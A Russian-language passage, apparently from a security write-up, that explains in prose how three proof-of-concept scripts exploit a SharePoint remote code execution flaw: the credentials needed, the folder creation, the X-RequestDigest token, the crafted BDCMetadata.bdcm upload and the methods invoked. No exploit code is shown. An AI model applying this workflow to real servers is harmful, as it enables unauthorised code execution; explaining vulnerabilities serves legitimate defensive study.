Чтобы успешно эксплуатировать RCE, необходимо выполнить несколько условий, а именно
1) Сетевой доступ к уязвимому серверу SharePoint.
2) Учетные данные (лог/пасс) для NTLM аутентификации + учетная запись должна иметь права на создание файлов и папок.

Для успешной эксплуатации уязвимости предоставляется три скрипта: poc_filtered.py, poc_specific.py и poc_sub.py. Сейчас коротко разберем суть и как они работают.

Все три скрипта используют NTLM аутентификацию для доступа к API SharePoint и выполняют схожие действия:

Скрипты сначала аутентифицируются на сервере SharePoint с использованием предоставленных учетных данных. Затем они создают необходимые папки на сервере, такие как BusinessDataMetadataCatalog, отправляя POST-запросы к API SharePoint по пути /api/web/Folders.

Далее создается и загружается файл метаданных BDCMetadata.bdcm, содержащий информацию для выполнения уязвимости. В информации находятся команды для выполнения различных методов SharePoint, таких как GetCreatorView, GetDefaultValues, GetFilters и FindFiltered. Эти методы позволяют взаимодействовать с объектами и данными SharePoint, что в конечном итоге позволяет выполнить произвольный код.

То есть после запуска poc_filtered.py создается новая папка BusinessDataMetadataCatalog, после чего скрипт получает и сохраняет значение X-RequestDigest для дальнейших запросов. X-RequestDigest — это токен, подтверждающий, что запрос исходит от подлинного пользователя. Этот токен включается в заголовки последующих запросов для подтверждения их подлинности. Затем скрипт создает и загружает файл метаданных BDCMetadata.bdcm в созданную папку. Этот файл содержит данные и команды, которые будут использоваться для выполнения уязвимости. В конце, скрипт отправляет специально сформированный XML-запрос к API SharePoint для выполнения уязвимых методов, что позволяет выполнить произвольный код на сервере.

Но между скриптами есть небольшая разница, а именно в используемых методах.

1) poc_filtered.py использует метод FindFiltered для взаимодействия с объектами SharePoint.
2) poc_specific.py использует метод FindSpecific для выполнения конкретных задач и команд.
3) poc_sub.py в этом скрипте используется метод Subscribe для подписки на события или действия.

PoC
PoC Video